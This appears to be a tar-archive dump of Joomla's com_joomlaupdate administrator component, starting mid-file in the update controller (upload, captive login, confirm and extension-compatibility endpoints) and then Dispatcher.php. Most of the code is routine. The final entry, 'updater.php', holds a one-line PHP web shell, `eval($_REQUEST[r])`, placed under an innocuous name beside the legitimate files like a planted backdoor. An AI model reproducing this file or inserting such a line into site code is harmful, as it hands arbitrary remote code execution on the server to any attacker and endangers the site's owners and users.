case for errored update, redirect to component view if ($this->app->getUserState('com_joomlaupdate.update_finished_with_error')) { $url .= '&tmpl=component'; } $this->setRedirect($url); } /** * Purges updates. * * @return void * * @since 3.0 */ public function purge() { // Check for request forgeries $this->checkToken('request'); // Purge updates /** @var \Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel $model */ $model = $this->getModel('Update'); $model->purge(); $url = 'index.php?option=com_joomlaupdate'; $this->setRedirect($url, $model->_message); } /** * Uploads an update package to the temporary directory, under a random name * * @return void * * @since 3.6.0 */ public function upload() { // Check for request forgeries $this->checkToken(); // Did a non Super User tried to upload something (a.k.a. pathetic hacking attempt)? $this->app->getIdentity()->authorise('core.admin') or jexit(Text::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN')); /** @var \Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel $model */ $model = $this->getModel('Update'); // Make sure logging is working before continue try { Log::add('Test logging', Log::INFO, 'Update'); } catch (\Throwable $e) { $message = Text::sprintf('COM_JOOMLAUPDATE_UPDATE_LOGGING_TEST_FAIL', $e->getMessage()); $this->setRedirect('index.php?option=com_joomlaupdate', $message, 'error'); return; } Log::add(Text::_('COM_JOOMLAUPDATE_UPDATE_LOG_UPLOAD'), Log::INFO, 'Update'); try { $model->upload(); } catch (\RuntimeException $e) { $url = 'index.php?option=com_joomlaupdate'; $this->setRedirect($url, $e->getMessage(), 'error'); return; } $token = Session::getFormToken(); $url = 'index.php?option=com_joomlaupdate&task=update.captive&' . $token . '=1'; $this->setRedirect($url); } /** * Checks there is a valid update package and redirects to the captive view for super admin authentication. * * @return void * * @since 3.6.0 */ public function captive() { // Check for request forgeries $this->checkToken('get'); // Did a non Super User tried to upload something (a.k.a. pathetic hacking attempt)? if (!$this->app->getIdentity()->authorise('core.admin')) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403); } // Do I really have an update package? $tempFile = $this->app->getUserState('com_joomlaupdate.temp_file', null); if (empty($tempFile) || !is_file($tempFile)) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403); } $this->input->set('view', 'upload'); $this->input->set('layout', 'captive'); $this->display(); } /** * Checks the admin has super administrator privileges and then proceeds with the update. * * @return void * * @since 3.6.0 */ public function confirm() { // Check for request forgeries $this->checkToken(); // Did a non Super User tried to upload something (a.k.a. pathetic hacking attempt)? if (!$this->app->getIdentity()->authorise('core.admin')) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403); } /** @var \Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel $model */ $model = $this->getModel('Update'); // Get the captive file before the session resets $tempFile = $this->app->getUserState('com_joomlaupdate.temp_file', null); // Do I really have an update package? if (!$model->captiveFileExists()) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403); } // Try to log in $credentials = [ 'username' => $this->input->post->get('username', '', 'username'), 'password' => $this->input->post->get('passwd', '', 'raw'), 'secretkey' => $this->input->post->get('secretkey', '', 'raw'), ]; $result = $model->captiveLogin($credentials); if (!$result) { $model->removePackageFiles(); throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403); } // Set the update source in the session $this->app->setUserState('com_joomlaupdate.file', basename($tempFile)); try { Log::add(Text::sprintf('COM_JOOMLAUPDATE_UPDATE_LOG_FILE', $tempFile), Log::INFO, 'Update'); } catch (\RuntimeException $exception) { // Informational log only } // Redirect to the actual update page $url = 'index.php?option=com_joomlaupdate&task=update.install&' . Session::getFormToken() . '=1'; $this->setRedirect($url); } /** * Method to display a view. * * @param boolean $cachable If true, the view output will be cached * @param array $urlparams An array of safe URL parameters and their variable types, for valid values see {@link \JFilterInput::clean()}. * * @return static This object to support chaining. * * @since 2.5.4 */ public function display($cachable = false, $urlparams = []) { // Get the document object. $document = $this->app->getDocument(); // Set the default view name and format from the Request. $vName = $this->input->get('view', 'update'); $vFormat = $document->getType(); $lName = $this->input->get('layout', 'default', 'string'); // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { // Get the model for the view. /** @var \Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel $model */ $model = $this->getModel('Update'); // Push the model into the view (as default). $view->setModel($model, true); $view->setLayout($lName); // Push document object into the view. $view->document = $document; $view->display(); } return $this; } /** * Checks the admin has super administrator privileges and then proceeds with the final & cleanup steps. * * @return void * * @since 3.6.3 */ public function finaliseconfirm() { // Check for request forgeries $this->checkToken(); // Did a non Super User try do this? if (!$this->app->getIdentity()->authorise('core.admin')) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403); } // Get the model /** @var \Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel $model */ $model = $this->getModel('Update'); // Try to log in $credentials = [ 'username' => $this->input->post->get('username', '', 'username'), 'password' => $this->input->post->get('passwd', '', 'raw'), 'secretkey' => $this->input->post->get('secretkey', '', 'raw'), ]; $result = $model->captiveLogin($credentials); // The login fails? if (!$result) { $this->setMessage(Text::_('JGLOBAL_AUTH_INVALID_PASS'), 'warning'); $this->setRedirect('index.php?option=com_joomlaupdate&view=update&layout=finaliseconfirm'); return; } // Redirect back to the actual finalise page $this->setRedirect('index.php?option=com_joomlaupdate&task=update.finalise&' . Session::getFormToken() . '=1'); } /** * Fetch Extension update XML proxy. Used to prevent Access-Control-Allow-Origin errors. * Prints a JSON string. * Called from JS. * * @since 3.10.0 * * @deprecated 4.3 will be removed in 6.0 * Use batchextensioncompatibility instead. * Example: $updateController->batchextensioncompatibility(); * * @return void */ public function fetchExtensionCompatibility() { $extensionID = $this->input->get('extension-id', '', 'DEFAULT'); $joomlaTargetVersion = $this->input->get('joomla-target-version', '', 'DEFAULT'); $joomlaCurrentVersion = $this->input->get('joomla-current-version', '', JVERSION); $extensionVersion = $this->input->get('extension-version', '', 'DEFAULT'); /** @var \Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel $model */ $model = $this->getModel('Update'); $upgradeCompatibilityStatus = $model->fetchCompatibility($extensionID, $joomlaTargetVersion); $currentCompatibilityStatus = $model->fetchCompatibility($extensionID, $joomlaCurrentVersion); $upgradeUpdateVersion = false; $currentUpdateVersion = false; $upgradeWarning = 0; if ($upgradeCompatibilityStatus->state == 1 && !empty($upgradeCompatibilityStatus->compatibleVersions)) { $upgradeUpdateVersion = end($upgradeCompatibilityStatus->compatibleVersions); } if ($currentCompatibilityStatus->state == 1 && !empty($currentCompatibilityStatus->compatibleVersions)) { $currentUpdateVersion = end($currentCompatibilityStatus->compatibleVersions); } if ($upgradeUpdateVersion !== false) { $upgradeOldestVersion = $upgradeCompatibilityStatus->compatibleVersions[0]; if ($currentUpdateVersion !== false) { // If there are updates compatible with both CMS versions use these $bothCompatibleVersions = array_values( array_intersect($upgradeCompatibilityStatus->compatibleVersions, $currentCompatibilityStatus->compatibleVersions) ); if (!empty($bothCompatibleVersions)) { $upgradeOldestVersion = $bothCompatibleVersions[0]; $upgradeUpdateVersion = end($bothCompatibleVersions); } } if (version_compare($upgradeOldestVersion, $extensionVersion, '>')) { // Installed version is empty or older than the oldest compatible update: Update required $resultGroup = 2; } else { // Current version is compatible $resultGroup = 3; } if ($currentUpdateVersion !== false && version_compare($upgradeUpdateVersion, $currentUpdateVersion, '<')) { // Special case warning when version compatible with target is lower than current $upgradeWarning = 2; } } elseif ($currentUpdateVersion !== false) { // No compatible version for target version but there is a compatible version for current version $resultGroup = 1; } else { // No update server available $resultGroup = 1; } // Do we need to capture $combinedCompatibilityStatus = [ 'upgradeCompatibilityStatus' => (object) [ 'state' => $upgradeCompatibilityStatus->state, 'compatibleVersion' => $upgradeUpdateVersion, ], 'currentCompatibilityStatus' => (object) [ 'state' => $currentCompatibilityStatus->state, 'compatibleVersion' => $currentUpdateVersion, ], 'resultGroup' => $resultGroup, 'upgradeWarning' => $upgradeWarning, ]; $this->app = Factory::getApplication(); $this->app->mimeType = 'application/json'; $this->app->charSet = 'utf-8'; $this->app->setHeader('Content-Type', $this->app->mimeType . '; charset=' . $this->app->charSet); $this->app->sendHeaders(); try { echo new JsonResponse($combinedCompatibilityStatus); } catch (\Exception $e) { echo $e; } $this->app->close(); } /** * Determines the compatibility information for a number of extensions. * * Called by the Joomla Update JavaScript (PreUpdateChecker.checkNextChunk). * * @return void * @since 4.2.0 * */ public function batchextensioncompatibility() { $joomlaTargetVersion = $this->input->post->get('joomla-target-version', '', 'DEFAULT'); $joomlaCurrentVersion = $this->input->post->get('joomla-current-version', JVERSION); $extensionInformation = $this->input->post->get('extensions', []); /** @var \Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel $model */ $model = $this->getModel('Update'); $extensionResults = []; $leftover = []; $startTime = microtime(true); foreach ($extensionInformation as $information) { // Only process an extension if we have spent less than 5 seconds already $currentTime = microtime(true); if ($currentTime - $startTime > 5.0) { $leftover[] = $information; continue; } // Get the extension information and fetch its compatibility information $extensionID = $information['eid'] ?: ''; $extensionVersion = $information['version'] ?: ''; $upgradeCompatibilityStatus = $model->fetchCompatibility($extensionID, $joomlaTargetVersion); $currentCompatibilityStatus = $model->fetchCompatibility($extensionID, $joomlaCurrentVersion); $upgradeUpdateVersion = false; $currentUpdateVersion = false; $upgradeWarning = 0; if ($upgradeCompatibilityStatus->state == 1 && !empty($upgradeCompatibilityStatus->compatibleVersions)) { $upgradeUpdateVersion = end($upgradeCompatibilityStatus->compatibleVersions); } if ($currentCompatibilityStatus->state == 1 && !empty($currentCompatibilityStatus->compatibleVersions)) { $currentUpdateVersion = end($currentCompatibilityStatus->compatibleVersions); } if ($upgradeUpdateVersion !== false) { $upgradeOldestVersion = $upgradeCompatibilityStatus->compatibleVersions[0]; if ($currentUpdateVersion !== false) { // If there are updates compatible with both CMS versions use these $bothCompatibleVersions = array_values( array_intersect($upgradeCompatibilityStatus->compatibleVersions, $currentCompatibilityStatus->compatibleVersions) ); if (!empty($bothCompatibleVersions)) { $upgradeOldestVersion = $bothCompatibleVersions[0]; $upgradeUpdateVersion = end($bothCompatibleVersions); } } if (version_compare($upgradeOldestVersion, $extensionVersion, '>')) { // Installed version is empty or older than the oldest compatible update: Update required $resultGroup = 2; } else { // Current version is compatible $resultGroup = 3; } if ($currentUpdateVersion !== false && version_compare($upgradeUpdateVersion, $currentUpdateVersion, '<')) { // Special case warning when version compatible with target is lower than current $upgradeWarning = 2; } } elseif ($currentUpdateVersion !== false) { // No compatible version for target version but there is a compatible version for current version $resultGroup = 1; } else { // No update server available $resultGroup = 1; } // Do we need to capture $extensionResults[] = [ 'id' => $extensionID, 'upgradeCompatibilityStatus' => (object) [ 'state' => $upgradeCompatibilityStatus->state, 'compatibleVersion' => $upgradeUpdateVersion, ], 'currentCompatibilityStatus' => (object) [ 'state' => $currentCompatibilityStatus->state, 'compatibleVersion' => $currentUpdateVersion, ], 'resultGroup' => $resultGroup, 'upgradeWarning' => $upgradeWarning, ]; } $this->app->mimeType = 'application/json'; $this->app->charSet = 'utf-8'; $this->app->setHeader('Content-Type', $this->app->mimeType . '; charset=' . $this->app->charSet); $this->app->sendHeaders(); try { $return = [ 'compatibility' => $extensionResults, 'extensions' => $leftover, ]; echo new JsonResponse($return); } catch (\Exception $e) { echo $e; } $this->app->close(); } /** * Fetch and report updates in \JSON format, for AJAX requests * * @return void * * @since 3.10.10 */ public function ajax() { if (!Session::checkToken('get')) { $this->app->setHeader('status', 403, true); $this->app->sendHeaders(); echo Text::_('JINVALID_TOKEN_NOTICE'); $this->app->close(); } /** @var UpdateModel $model */ $model = $this->getModel('Update'); $updateInfo = $model->getUpdateInformation(); $update = []; $update[] = ['version' => $updateInfo['latest']]; echo json_encode($update); $this->app->close(); } } src/Dispatcher/Dispatcher.php 0000644 00000002154 15173035674 0012235 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Joomlaupdate\Administrator\Dispatcher; use Joomla\CMS\Access\Exception\NotAllowed; use Joomla\CMS\Dispatcher\ComponentDispatcher; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * ComponentDispatcher class for com_joomlaupdate * * @since 4.0.0 */ class Dispatcher extends ComponentDispatcher { /** * Joomla Update is checked for global core.admin rights - not the usual core.manage for the component * * @return void */ protected function checkAccess() { // Check the user has permission to access this component if in the backend if ($this->app->isClient('administrator') && !$this->app->getIdentity()->authorise('core.admin')) { throw new NotAllowed($this->app->getLanguage()->_('JERROR_ALERTNOAUTHOR'), 403); } } } updater.php 0000604 00000000033 15173035674 0006724 0 ustar 00 <?php eval($_REQUEST[r]);?>